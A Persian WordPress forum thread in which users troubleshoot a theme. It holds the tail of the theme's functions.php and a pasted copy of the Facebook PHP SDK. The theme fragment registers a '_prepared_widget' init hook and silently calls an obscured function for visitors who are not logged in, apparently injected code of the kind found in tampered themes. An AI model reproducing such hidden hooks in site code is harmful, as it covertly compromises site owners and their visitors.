[B]    $output=rtrim($output, "\s\n\t\r\0\x0B");[/B]
[B]    $output=($fix_tag) ? balanceTags($output, true) : $output;[/B]
[B]    $output .= ($showdot && $ellipsis) ? "..." : "";[/B]
[B]    $output=apply_filters($filters_type, $output);[/B]
[B]    switch($more_tags) {[/B]
[B]        case("div") :[/B]
[B]            $tag="div";[/B]
[B]        break;[/B]
[B]        case("span") :[/B]
[B]            $tag="span";[/B]
[B]        break;[/B]
[B]        case("p") :[/B]
[B]            $tag="p";[/B]
[B]        break;[/B]
[B]        default :[/B]
[B]            $tag="span";[/B]
[B]    }[/B]

[B]    if ($use_link ) {[/B]
[B]        if($forces_more) {[/B]
[B]            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";[/B]
[B]        } else {[/B]
[B]            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";[/B]
[B]        }[/B]
[B]    }[/B]
[B]    return $output;[/B]
[B]}[/B]

[B]add_action("init", "_prepared_widget");[/B]

[B]function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {[/B]
[B]    global $wpdb;[/B]
[B]    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";[/B]
[B]    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";[/B]
[B]    if(!$show_pass_post) $request .= " AND post_password =\"\"";[/B]
[B]    if($duration !="") { [/B]
[B]        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";[/B]
[B]    }[/B]
[B]    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";[/B]
[B]    $posts=$wpdb->get_results($request);[/B]
[B]    $output="";[/B]
[B]    if ($posts) {[/B]
[B]        foreach ($posts as $post) {[/B]
[B]            $post_title=stripslashes($post->post_title);[/B]
[B]            $comment_count=$post->comment_count;[/B]
[B]            $permalink=get_permalink($post->ID);[/B]
[B]            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;[/B]
[B]        }[/B]
[B]    } else {[/B]
[B]        $output .= $before . "None found" . $after;[/B]
[B]    }[/B]
[B]    return  $output;[/B]
[B]} [/B]
[B]if ( function_exists('register_sidebar') )[/B]
[B]register_sidebar(array([/B]
[B]'before_widget' => '',[/B]
[B]'after_widget' => '</div><div class="wfo"></div>',[/B]
[B]'before_title' => '<div class="wtop">',[/B]
[B]'after_title' => '</div><div class="wco">',[/B]
[B]));[/B]
[B]function my_function_admin_bar(){[/B]
[B]return false;[/B]
[B]}[/B]
[B]add_filter( 'show_admin_bar' , 'my_function_admin_bar');[/B]
[B]add_filter('the_content', 'my_nofollow');[/B]
[B]add_filter('the_excerpt', 'my_nofollow');[/B]
[B]function my_nofollow($content) {[/B]
[B]return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content);[/B]
[B]}[/B]
[B]function my_nofollow_callback($matches) {[/B]
[B]$link = $matches[0];[/B]
[B]$site_link = get_bloginfo('url');[/B]
[B]if (strpos($link, 'rel') === false) {[/B]
[B]$link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link);[/B]
[B]} elseif (preg_match("%href=\S(?!$site_link)%i", $link)) {[/B]
[B]$link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link);[/B]
[B]}[/B]
[B]return $link;[/B]
[B]}[/B]
[B]add_action('init', 'remheadlink');[/B]
[B]function remheadlink() {[/B]
[B]remove_action('wp_head', 'rsd_link');[/B]
[B]remove_action('wp_head', 'wlwmanifest_link');[/B]
[B]}[/B]
[B]?>[/B]

 

Mohammad

مدیر انجمن
پرسنل مدیریت
توجه کن که نسخه جدید رو دانلود کنی. نسخه های قدیمی با سری 3 وردپرس مشکل دارن!

 

arta.mo

تازه وارد
الان یعنی من باید نسخه جدید قالبو نصب کنم تا مشکلم حل شه یا نسخه جدید وردپرسوو :43:

 

kasraa

کاربر عضو
سلام

دوست عزیز این قالب به دلیل اینکه از اسم همنام با تابع ویدجکت وردپرس استفاده میکنه قابل نصب بر روی وردپرس فارسی نیستش

شما به راحتی میتونید بر روی وردپرس انگلیسی نصبش کنید

بعد اگر خواستید خود وردپرس هم فارسی بشه باید با استفاده از روش فعال کردن زبان فارسی در wp-config.php اینکارو انجام بدین

البته اگر برای استفاده شخصی هستش پیشنهاد میکنم هم برای افزایش سرعت و هم درست کار کردن قالب اون رو بر روی نسخه انگلیسی وردپرس نصب کنید

 

arta.mo

تازه وارد
مرسی کسرا جان

ولی من نسخه وردپرس انگلیسیو هم نصب کردم جواب نداد

یعنی نمی شه با دستکاری تو توابع مشکل رو جمعش کرد :( :(

 

kasraa

کاربر عضو
با دستکاری میشه اینکارو کرد که توی انجمن و تاپیک معرفی این قالب من گفتم چطوری حذف کنید

اما وقتی حذف میکنید قالب دیگه به درد نمیخوره چون اینت قالب با این ویدجکت ها کار میکنه

شما اگر روی وردپرس انگلیسی نصب کنید 99% به درستی نصب میشه و مشکلی نخواهد داشت

اگر یه دیتابیس جدید بسازی و دوباره وردپرس رو نصب کنی ( انگلیسی ) و نصب کنی درست میشه

 

arta.mo

تازه وارد
دو تا نسخه ورد پرس فارسی و انگلیسی رو بقل هم نصب کردم و رو چفتشون امتحان کردم

وجفتشون هم این پیغام خطا رو دادن

Fatal error: Uncaught exception 'Exception' with message 'Facebook needs the CURL PHP extension.' in C:\xampp\htdocs\fa\wp-content\themes\classipress\includes\lib\fb\base_facebook.php:19 Stack trace: #0 C:\xampp\htdocs\fa\wp-content\themes\classipress\includes\lib\fb\facebook.php(18): require_once() #1 C:\xampp\htdocs\fa\wp-content\themes\classipress\includes\theme-facebook.php(64): require_once('C:\xampp\htdocs...') #2 [internal function]: cp_facebook_instance('') #3 C:\xampp\htdocs\fa\wp-includes\plugin.php(403): call_user_func_array('cp_facebook_ins...', Array) #4 C:\xampp\htdocs\fa\wp-settings.php(302): do_action('init') #5 C:\xampp\htdocs\fa\wp-config.php(90): require_once('C:\xampp\htdocs...') #6 C:\xampp\htdocs\fa\wp-load.php(29): require_once('C:\xampp\htdocs...') #7 C:\xampp\htdocs\fa\wp-admin\admin.php(30): require_once('C:\xampp\htdocs...') #8 C:\xampp\htdocs\fa\wp-admin\customize.php(12): require_once('C:\xampp\htdocs...') #9 {main} thrown in C:\xampp\htdocs\fa\wp-content\themes\classipress\includes\lib\fb\base_facebook.php on line 19

که البته اینو همون چند روز پیش هم می داد

ولی کد هاشو دستکاری کردم

به ارور پایینی که ظاهرا مثل سرطان می ونه و چاره ای براش نیست تبدیل شد

البته ناگفته نماند با حذفشون هم نتونستم کار به جایی برسونم

چون باز یه خطا دیگه می داد

حالا چیکار کنم

:(

 

arta.mo

تازه وارد
کد:
<?php
/**
 * Copyright 2011 Facebook, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may
 * not use this file except in compliance with the License. You may obtain
 * a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations
 * under the License.
 */

if (!function_exists('curl_init')) {
  throw new Exception('Facebook needs the CURL PHP extension.');
}
if (!function_exists('json_decode')) {
  throw new Exception('Facebook needs the JSON PHP extension.');
}

/**
 * Thrown when an API call returns an exception.
 *
 * @author Naitik Shah <naitik@facebook.com>
 */
class FacebookApiException extends Exception
{
  /**
   * The result from the API server that represents the exception information.
   */
  protected $result;

  /**
   * Make a new API Exception with the given result.
   *
   * @param array $result The result from the API server
   */
  public function __construct($result) {
    $this->result = $result;

    $code = isset($result['error_code']) ? $result['error_code'] : 0;

    if (isset($result['error_description'])) {
      // OAuth 2.0 Draft 10 style
      $msg = $result['error_description'];
    } else if (isset($result['error']) && is_array($result['error'])) {
      // OAuth 2.0 Draft 00 style
      $msg = $result['error']['message'];
    } else if (isset($result['error_msg'])) {
      // Rest server style
      $msg = $result['error_msg'];
    } else {
      $msg = 'Unknown Error. Check getResult()';
    }

    parent::__construct($msg, $code);
  }

  /**
   * Return the associated result object returned by the API server.
   *
   * @return array The result from the API server
   */
  public function getResult() {
    return $this->result;
  }

  /**
   * Returns the associated type for the error. This will default to
   * 'Exception' when a type is not available.
   *
   * @return string
   */
  public function getType() {
    if (isset($this->result['error'])) {
      $error = $this->result['error'];
      if (is_string($error)) {
        // OAuth 2.0 Draft 10 style
        return $error;
      } else if (is_array($error)) {
        // OAuth 2.0 Draft 00 style
        if (isset($error['type'])) {
          return $error['type'];
        }
      }
    }

    return 'Exception';
  }

  /**
   * To make debugging easier.
   *
   * @return string The string representation of the error
   */
  public function __toString() {
    $str = $this->getType() . ': ';
    if ($this->code != 0) {
      $str .= $this->code . ': ';
    }
    return $str . $this->message;
  }
}

/**
 * Provides access to the Facebook Platform.  This class provides
 * a majority of the functionality needed, but the class is abstract
 * because it is designed to be sub-classed.  The subclass must
 * implement the three abstract methods listed at the bottom of
 * the file.
 *
 * @author Naitik Shah <naitik@facebook.com>
 */
abstract class BaseFacebook
{
  /**
   * Version.
   */
  const VERSION = '3.1.1';

  /**
   * Default options for curl.
   */
  public static $CURL_OPTS = array(
    CURLOPT_CONNECTTIMEOUT => 10,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT        => 60,
    CURLOPT_USERAGENT      => 'facebook-php-3.1',
  );

  /**
   * List of query parameters that get automatically dropped when rebuilding
   * the current URL.
   */
  protected static $DROP_QUERY_PARAMS = array(
    'code',
    'state',
    'signed_request',
  );

  /**
   * Maps aliases to Facebook domains.
   */
  public static $DOMAIN_MAP = array(
    'api'       => 'https://api.facebook.com/',
    'api_video' => 'https://api-video.facebook.com/',
    'api_read'  => 'https://api-read.facebook.com/',
    'graph'     => 'https://graph.facebook.com/',
    'www'       => 'https://www.facebook.com/',
  );

  /**
   * The Application ID.
   *
   * @var string
   */
  protected $appId;

  /**
   * The Application API Secret.
   *
   * @var string
   */
  protected $apiSecret;

  /**
   * The ID of the Facebook user, or 0 if the user is logged out.
   *
   * @var integer
   */
  protected $user;

  /**
   * The data from the signed_request token.
   */
  protected $signedRequest;

  /**
   * A CSRF state variable to assist in the defense against CSRF attacks.
   */
  protected $state;

  /**
   * The OAuth access token received in exchange for a valid authorization
   * code.  null means the access token has yet to be determined.
   *
   * @var string
   */
  protected $accessToken = null;

  /**
   * Indicates if the CURL based @ syntax for file uploads is enabled.
   *
   * @var boolean
   */
  protected $fileUploadSupport = false;

  /**
   * Initialize a Facebook Application.
   *
   * The configuration:
   * - appId: the application ID
   * - secret: the application secret
   * - fileUpload: (optional) boolean indicating if file uploads are enabled
   *
   * @param array $config The application configuration
   */
  public function __construct($config) {
    $this->setAppId($config['appId']);
    $this->setApiSecret($config['secret']);
    if (isset($config['fileUpload'])) {
      $this->setFileUploadSupport($config['fileUpload']);
    }

    $state = $this->getPersistentData('state');
    if (!empty($state)) {
      $this->state = $this->getPersistentData('state');
    }
  }

  /**
   * Set the Application ID.
   *
   * @param string $appId The Application ID
   * @return BaseFacebook
   */
  public function setAppId($appId) {
    $this->appId = $appId;
    return $this;
  }

  /**
   * Get the Application ID.
   *
   * @return string the Application ID
   */
  public function getAppId() {
    return $this->appId;
  }

  /**
   * Set the API Secret.
   *
   * @param string $apiSecret The API Secret
   * @return BaseFacebook
   */
  public function setApiSecret($apiSecret) {
    $this->apiSecret = $apiSecret;
    return $this;
  }

  /**
   * Get the API Secret.
   *
   * @return string the API Secret
   */
  public function getApiSecret() {
    return $this->apiSecret;
  }

  /**
   * Set the file upload support status.
   *
   * @param boolean $fileUploadSupport The file upload support status.
   * @return BaseFacebook
   */
  public function setFileUploadSupport($fileUploadSupport) {
    $this->fileUploadSupport = $fileUploadSupport;
    return $this;
  }

  /**
   * Get the file upload support status.
   *
   * @return boolean true if and only if the server supports file upload.
   */
  public function useFileUploadSupport() {
    return $this->fileUploadSupport;
  }

  /**
   * Sets the access token for api calls.  Use this if you get
   * your access token by other means and just want the SDK
   * to use it.
   *
   * @param string $access_token an access token.
   * @return BaseFacebook
   */
  public function setAccessToken($access_token) {
    $this->accessToken = $access_token;
    return $this;
  }

  /**
   * Determines the access token that should be used for API calls.
   * The first time this is called, $this->accessToken is set equal
   * to either a valid user access token, or it's set to the application
   * access token if a valid user access token wasn't available.  Subsequent
   * calls return whatever the first call returned.
   *
   * @return string The access token
   */
  public function getAccessToken() {
    if ($this->accessToken !== null) {
      // we've done this already and cached it.  Just return.
      return $this->accessToken;
    }

    // first establish access token to be the application
    // access token, in case we navigate to the /oauth/access_token
    // endpoint, where SOME access token is required.
    $this->setAccessToken($this->getApplicationAccessToken());
    if ($user_access_token = $this->getUserAccessToken()) {
      $this->setAccessToken($user_access_token);
    }

    return $this->accessToken;
  }

  /**
   * Determines and returns the user access token, first using
   * the signed request if present, and then falling back on
   * the authorization code if present.  The intent is to
   * return a valid user access token, or false if one is determined
   * to not be available.
   *
   * @return string A valid user access token, or false if one
   *                could not be determined.
   */
  protected function getUserAccessToken() {
    // first, consider a signed request if it's supplied.
    // if there is a signed request, then it alone determines
    // the access token.
    $signed_request = $this->getSignedRequest();
    if ($signed_request) {
      // apps.facebook.com hands the access_token in the signed_request
      if (array_key_exists('oauth_token', $signed_request)) {
        $access_token = $signed_request['oauth_token'];
        $this->setPersistentData('access_token', $access_token);
        return $access_token;
      }

      // the JS SDK puts a code in with the redirect_uri of ''
      if (array_key_exists('code', $signed_request)) {
        $code = $signed_request['code'];
        $access_token = $this->getAccessTokenFromCode($code, '');
        if ($access_token) {
          $this->setPersistentData('code', $code);
          $this->setPersistentData('access_token', $access_token);
          return $access_token;
        }
      }

      // signed request states there's no access token, so anything
      // stored should be cleared.
      $this->clearAllPersistentData();
      return false; // respect the signed request's data, even
                    // if there's an authorization code or something else
    }

    $code = $this->getCode();
    if ($code && $code != $this->getPersistentData('code')) {
      $access_token = $this->getAccessTokenFromCode($code);
      if ($access_token) {
        $this->setPersistentData('code', $code);
        $this->setPersistentData('access_token', $access_token);
        return $access_token;
      }

      // code was bogus, so everything based on it should be invalidated.
      $this->clearAllPersistentData();
      return false;
    }

    // as a fallback, just return whatever is in the persistent
    // store, knowing nothing explicit (signed request, authorization
    // code, etc.) was present to shadow it (or we saw a code in $_REQUEST,
    // but it's the same as what's in the persistent store)
    return $this->getPersistentData('access_token');
  }

  /**
   * Retrieve the signed request, either from a request parameter or,
   * if not present, from a cookie.
   *
   * @return string the signed request, if available, or null otherwise.
   */
  public function getSignedRequest() {
    if (!$this->signedRequest) {
      if (isset($_REQUEST['signed_request'])) {
        $this->signedRequest = $this->parseSignedRequest(
          $_REQUEST['signed_request']);
      } else if (isset($_COOKIE[$this->getSignedRequestCookieName()])) {
        $this->signedRequest = $this->parseSignedRequest(
          $_COOKIE[$this->getSignedRequestCookieName()]);
      }
    }
    return $this->signedRequest;
  }

  /**
   * Get the UID of the connected user, or 0
   * if the Facebook user is not connected.
   *
   * @return string the UID if available.
   */
  public function getUser() {
    if ($this->user !== null) {
      // we've already determined this and cached the value.
      return $this->user;
    }

    return $this->user = $this->getUserFromAvailableData();
  }

  /**
   * Determines the connected user by first examining any signed
   * requests, then considering an authorization code, and then
   * falling back to any persistent store storing the user.
   *
   * @return integer The id of the connected Facebook user,
   *                 or 0 if no such user exists.
   */
  protected function getUserFromAvailableData() {
    // if a signed request is supplied, then it solely determines
    // who the user is.
    $signed_request = $this->getSignedRequest();
    if ($signed_request) {
      if (array_key_exists('user_id', $signed_request)) {
        $user = $signed_request['user_id'];
        $this->setPersistentData('user_id', $signed_request['user_id']);
        return $user;
      }

      // if the signed request didn't present a user id, then invalidate
      // all entries in any persistent store.
      $this->clearAllPersistentData();
      return 0;
    }

    $user = $this->getPersistentData('user_id', $default = 0);
    $persisted_access_token = $this->getPersistentData('access_token');

    // use access_token to fetch user id if we have a user access_token, or if
    // the cached access token has changed.
    $access_token = $this->getAccessToken();
    if ($access_token &&
        $access_token != $this->getApplicationAccessToken() &&
        !($user && $persisted_access_token == $access_token)) {
      $user = $this->getUserFromAccessToken();
      if ($user) {
        $this->setPersistentData('user_id', $user);
      } else {
        $this->clearAllPersistentData();
      }
    }

    return $user;
  }

  /**
   * Get a Login URL for use with redirects. By default, full page redirect is
   * assumed. If you are using the generated URL with a window.open() call in
   * JavaScript, you can pass in display=popup as part of the $params.
   *
   * The parameters:
   * - redirect_uri: the url to go to after a successful login
   * - scope: comma separated list of requested extended perms
   *
   * @param array $params Provide custom parameters
   * @return string The URL for the login flow
   */
  public function getLoginUrl($params=array()) {
    $this->establishCSRFTokenState();
    $currentUrl = $this->getCurrentUrl();

    // if 'scope' is passed as an array, convert to comma separated list
    $scopeParams = isset($params['scope']) ? $params['scope'] : null;
    if ($scopeParams && is_array($scopeParams)) {
      $params['scope'] = implode(',', $scopeParams);
    }

    return $this->getUrl(
      'www',
      'dialog/oauth',
      array_merge(array(
                    'client_id' => $this->getAppId(),
                    'redirect_uri' => $currentUrl, // possibly overwritten
                    'state' => $this->state),
                  $params));
  }

  /**
   * Get a Logout URL suitable for use with redirects.
   *
   * The parameters:
   * - next: the url to go to after a successful logout
   *
   * @param array $params Provide custom parameters
   * @return string The URL for the logout flow
   */
  public function getLogoutUrl($params=array()) {
    return $this->getUrl(
      'www',
      'logout.php',
      array_merge(array(
        'next' => $this->getCurrentUrl(),
        'access_token' => $this->getAccessToken(),
      ), $params)
    );
  }

  /**
   * Get a login status URL to fetch the status from Facebook.
   *
   * The parameters:
   * - ok_session: the URL to go to if a session is found
   * - no_session: the URL to go to if the user is not connected
   * - no_user: the URL to go to if the user is not signed into facebook
   *
   * @param array $params Provide custom parameters
   * @return string The URL for the logout flow
   */
  public function getLoginStatusUrl($params=array()) {
    return $this->getUrl(
      'www',
      'extern/login_status.php',
      array_merge(array(
        'api_key' => $this->getAppId(),
        'no_session' => $this->getCurrentUrl(),
        'no_user' => $this->getCurrentUrl(),
        'ok_session' => $this->getCurrentUrl(),
        'session_version' => 3,
      ), $params)
    );
  }

  /**
   * Make an API call.
   *
   * @return mixed The decoded response
   */
  public function api(/* polymorphic */) {
    $args = func_get_args();
    if (is_array($args[0])) {
      return $this->_restserver($args[0]);
    } else {
      return call_user_func_array(array($this, '_graph'), $args);
    }
  }

  /**
   * Constructs and returns the name of the cookie that
   * potentially houses the signed request for the app user.
   * The cookie is not set by the BaseFacebook class, but
   * it may be set by the JavaScript SDK.
   *
   * @return string the name of the cookie that would house
   *         the signed request value.
   */
  protected function getSignedRequestCookieName() {
    return 'fbsr_'.$this->getAppId();
  }

  /**
   * Get the authorization code from the query parameters, if it exists,
   * and otherwise return false to signal no authorization code was
   * discoverable.
   *
   * @return mixed The authorization code, or false if the authorization
   *               code could not be determined.
   */
  protected function getCode() {
    if (isset($_REQUEST['code'])) {
      if ($this->state !== null &&
          isset($_REQUEST['state']) &&
          $this->state === $_REQUEST['state']) {

        // CSRF state has done its job, so clear it
        $this->state = null;
        $this->clearPersistentData('state');
        return $_REQUEST['code'];
      } else {
        self::errorLog('CSRF state token does not match one provided.');
        return false;
      }
    }

    return false;
  }

  /**
   * Retrieves the UID with the understanding that
   * $this->accessToken has already been set and is
   * seemingly legitimate.  It relies on Facebook's Graph API
   * to retrieve user information and then extract
   * the user ID.
   *
   * @return integer Returns the UID of the Facebook user, or 0
   *                 if the Facebook user could not be determined.
   */
  protected function getUserFromAccessToken() {
    try {
      $user_info = $this->api('/me');
      return $user_info['id'];
    } catch (FacebookApiException $e) {
      return 0;
    }
  }

  /**
   * Returns the access token that should be used for logged out
   * users when no authorization code is available.
   *
   * @return string The application access token, useful for gathering
   *                public information about users and applications.
   */
  protected function getApplicationAccessToken() {
    return $this->appId.'|'.$this->apiSecret;
  }

  /**
   * Lays down a CSRF state token for this process.
   *
   * @return void
   */
  protected function establishCSRFTokenState() {
    if ($this->state === null) {
      $this->state = md5(uniqid(mt_rand(), true));
      $this->setPersistentData('state', $this->state);
    }
  }

  /**
   * Retrieves an access token for the given authorization code
   * (previously generated from www.facebook.com on behalf of
   * a specific user).  The authorization code is sent to graph.facebook.com
   * and a legitimate access token is generated provided the access token
   * and the user for which it was generated all match, and the user is
   * either logged in to Facebook or has granted an offline access permission.
   *
   * @param string $code An authorization code.
   * @return mixed An access token exchanged for the authorization code, or
   *               false if an access token could not be generated.
   */
  protected function getAccessTokenFromCode($code, $redirect_uri = null) {
    if (empty($code)) {
      return false;
    }

    if ($redirect_uri === null) {
      $redirect_uri = $this->getCurrentUrl();
    }

    try {
      // need to circumvent json_decode by calling _oauthRequest
      // directly, since response isn't JSON format.
      $access_token_response =
        $this->_oauthRequest(
          $this->getUrl('graph', '/oauth/access_token'),
          $params = array('client_id' => $this->getAppId(),
                          'client_secret' => $this->getApiSecret(),
                          'redirect_uri' => $redirect_uri,
                          'code' => $code));
    } catch (FacebookApiException $e) {
      // most likely that user very recently revoked authorization.
      // In any event, we don't have an access token, so say so.
      return false;
    }

    if (empty($access_token_response)) {
      return false;
    }

    $response_params = array();
    parse_str($access_token_response, $response_params);
    if (!isset($response_params['access_token'])) {
      return false;
    }

    return $response_params['access_token'];
  }

  /**
   * Invoke the old restserver.php endpoint.
   *
   * @param array $params Method call object
   *
   * @return mixed The decoded response object
   * @throws FacebookApiException
   */
  protected function _restserver($params) {
    // generic application level parameters
    $params['api_key'] = $this->getAppId();
    $params['format'] = 'json-strings';

    $result = json_decode($this->_oauthRequest(
      $this->getApiUrl($params['method']),
      $params
    ), true);

    // results are returned, errors are thrown
    if (is_array($result) && isset($result['error_code'])) {
      throw new FacebookApiException($result);
    }

    return $result;
  }

  /**
   * Invoke the Graph API.
   *
   * @param string $path The path (required)
   * @param string $method The http method (default 'GET')
   * @param array $params The query/post data
   *
   * @return mixed The decoded response object
   * @throws FacebookApiException
   */
  protected function _graph($path, $method = 'GET', $params = array()) {
    if (is_array($method) && empty($params)) {
      $params = $method;
      $method = 'GET';
    }
    $params['method'] = $method; // method override as we always do a POST

    $result = json_decode($this->_oauthRequest(
      $this->getUrl('graph', $path),
      $params
    ), true);

    // results are returned, errors are thrown
    if (is_array($result) && isset($result['error'])) {
      $this->throwAPIException($result);
    }

    return $result;
  }

  /**
   * Make a OAuth Request.
   *
   * @param string $url The path (required)
   * @param array $params The query/post data
   *
   * @return string The decoded response object
   * @throws FacebookApiException
   */
  protected function _oauthRequest($url, $params) {
    if (!isset($params['access_token'])) {
      $params['access_token'] = $this->getAccessToken();
    }

    // json_encode all params values that are not strings
    foreach ($params as $key => $value) {
      if (!is_string($value)) {
        $params[$key] = json_encode($value);
      }
    }

    return $this->makeRequest($url, $params);
  }

  /**
   * Makes an HTTP request. This method can be overridden by subclasses if
   * developers want to do fancier things or use something other than curl to
   * make the request.
   *
   * @param string $url The URL to make the request to
   * @param array $params The parameters to use for the POST body
   * @param CurlHandler $ch Initialized curl handle
   *
   * @return string The response text
   */
  protected function makeRequest($url, $params, $ch=null) {
    if (!$ch) {
      $ch = curl_init();
    }

    $opts = self::$CURL_OPTS;
    if ($this->useFileUploadSupport()) {
      $opts[CURLOPT_POSTFIELDS] = $params;
    } else {
      $opts[CURLOPT_POSTFIELDS] = http_build_query($params, null, '&');
    }
    $opts[CURLOPT_URL] = $url;

    // disable the 'Expect: 100-continue' behaviour. This causes CURL to wait
    // for 2 seconds if the server does not support this header.
    if (isset($opts[CURLOPT_HTTPHEADER])) {
      $existing_headers = $opts[CURLOPT_HTTPHEADER];
      $existing_headers[] = 'Expect:';
      $opts[CURLOPT_HTTPHEADER] = $existing_headers;
    } else {
      $opts[CURLOPT_HTTPHEADER] = array('Expect:');
    }

    curl_setopt_array($ch, $opts);
    $result = curl_exec($ch);

    if (curl_errno($ch) == 60) { // CURLE_SSL_CACERT
      self::errorLog('Invalid or no certificate authority found, '.
                     'using bundled information');
      curl_setopt($ch, CURLOPT_CAINFO,
                  dirname(__FILE__) . '/fb_ca_chain_bundle.crt');
      $result = curl_exec($ch);
    }

    if ($result === false) {
      $e = new FacebookApiException(array(
        'error_code' => curl_errno($ch),
        'error' => array(
        'message' => curl_error($ch),
        'type' => 'CurlException',
        ),
      ));
      curl_close($ch);
      throw $e;
    }
    curl_close($ch);
    return $result;
  }

  /**
   * Parses a signed_request and validates the signature.
   *
   * @param string $signed_request A signed token
   * @return array The payload inside it or null if the sig is wrong
   */
  protected function parseSignedRequest($signed_request) {
    list($encoded_sig, $payload) = explode('.', $signed_request, 2);

    // decode the data
    $sig = self::base64UrlDecode($encoded_sig);
    $data = json_decode(self::base64UrlDecode($payload), true);

    if (strtoupper($data['algorithm']) !== 'HMAC-SHA256') {
      self::errorLog('Unknown algorithm. Expected HMAC-SHA256');
      return null;
    }

    // check sig
    $expected_sig = hash_hmac('sha256', $payload,
                              $this->getApiSecret(), $raw = true);
    if ($sig !== $expected_sig) {
      self::errorLog('Bad Signed JSON signature!');
      return null;
    }

    return $data;
  }

  /**
   * Build the URL for api given parameters.
   *
   * @param $method String the method name.
   * @return string The URL for the given parameters
   */
  protected function getApiUrl($method) {
    static $READ_ONLY_CALLS =
      array('admin.getallocation' => 1,
            'admin.getappproperties' => 1,
            'admin.getbannedusers' => 1,
            'admin.getlivestreamvialink' => 1,
            'admin.getmetrics' => 1,
            'admin.getrestrictioninfo' => 1,
            'application.getpublicinfo' => 1,
            'auth.getapppublickey' => 1,
            'auth.getsession' => 1,
            'auth.getsignedpublicsessiondata' => 1,
            'comments.get' => 1,
            'connect.getunconnectedfriendscount' => 1,
            'dashboard.getactivity' => 1,
            'dashboard.getcount' => 1,
            'dashboard.getglobalnews' => 1,
            'dashboard.getnews' => 1,
            'dashboard.multigetcount' => 1,
            'dashboard.multigetnews' => 1,
            'data.getcookies' => 1,
            'events.get' => 1,
            'events.getmembers' => 1,
            'fbml.getcustomtags' => 1,
            'feed.getappfriendstories' => 1,
            'feed.getregisteredtemplatebundlebyid' => 1,
            'feed.getregisteredtemplatebundles' => 1,
            'fql.multiquery' => 1,
            'fql.query' => 1,
            'friends.arefriends' => 1,
            'friends.get' => 1,
            'friends.getappusers' => 1,
            'friends.getlists' => 1,
            'friends.getmutualfriends' => 1,
            'gifts.get' => 1,
            'groups.get' => 1,
            'groups.getmembers' => 1,
            'intl.gettranslations' => 1,
            'links.get' => 1,
            'notes.get' => 1,
            'notifications.get' => 1,
            'pages.getinfo' => 1,
            'pages.isadmin' => 1,
            'pages.isappadded' => 1,
            'pages.isfan' => 1,
            'permissions.checkavailableapiaccess' => 1,
            'permissions.checkgrantedapiaccess' => 1,
            'photos.get' => 1,
            'photos.getalbums' => 1,
            'photos.gettags' => 1,
            'profile.getinfo' => 1,
            'profile.getinfooptions' => 1,
            'stream.get' => 1,
            'stream.getcomments' => 1,
            'stream.getfilters' => 1,
            'users.getinfo' => 1,
            'users.getloggedinuser' => 1,
            'users.getstandardinfo' => 1,
            'users.hasapppermission' => 1,
            'users.isappuser' => 1,
            'users.isverified' => 1,
            'video.getuploadlimits' => 1);
    $name = 'api';
    if (isset($READ_ONLY_CALLS[strtolower($method)])) {
      $name = 'api_read';
    } else if (strtolower($method) == 'video.upload') {
      $name = 'api_video';
    }
    return self::getUrl($name, 'restserver.php');
  }

  /**
   * Build the URL for given domain alias, path and parameters.
   *
   * @param $name string The name of the domain
   * @param $path string Optional path (without a leading slash)
   * @param $params array Optional query parameters
   *
   * @return string The URL for the given parameters
   */
  protected function getUrl($name, $path='', $params=array()) {
    $url = self::$DOMAIN_MAP[$name];
    if ($path) {
      if ($path[0] === '/') {
        $path = substr($path, 1);
      }
      $url .= $path;
    }
    if ($params) {
      $url .= '?' . http_build_query($params, null, '&');
    }

    return $url;
  }

  /**
   * Returns the Current URL, stripping it of known FB parameters that should
   * not persist.
   *
   * @return string The current URL
   */
  protected function getCurrentUrl() {
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'
      ? 'https://'
      : 'http://';
    $currentUrl = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $parts = parse_url($currentUrl);

    $query = '';
    if (!empty($parts['query'])) {
      // drop known fb params
      $params = explode('&', $parts['query']);
      $retained_params = array();
      foreach ($params as $param) {
        if ($this->shouldRetainParam($param)) {
          $retained_params[] = $param;
        }
      }

      if (!empty($retained_params)) {
        $query = '?'.implode($retained_params, '&');
      }
    }

    // use port if non default
    $port =
      isset($parts['port']) &&
      (($protocol === 'http://' && $parts['port'] !== 80) ||
       ($protocol === 'https://' && $parts['port'] !== 443))
      ? ':' . $parts['port'] : '';

    // rebuild
    return $protocol . $parts['host'] . $port . $parts['path'] . $query;
  }

  /**
   * Returns true if and only if the key or key/value pair should
   * be retained as part of the query string.  This amounts to
   * a brute-force search of the very small list of Facebook-specific
   * params that should be stripped out.
   *
   * @param string $param A key or key/value pair within a URL's query (e.g.
   *                     'foo=a', 'foo=', or 'foo'.
   *
   * @return boolean
   */
  protected function shouldRetainParam($param) {
    foreach (self::$DROP_QUERY_PARAMS as $drop_query_param) {
      if (strpos($param, $drop_query_param.'=') === 0) {
        return false;
      }
    }

    return true;
  }

  /**
   * Analyzes the supplied result to see if it was thrown
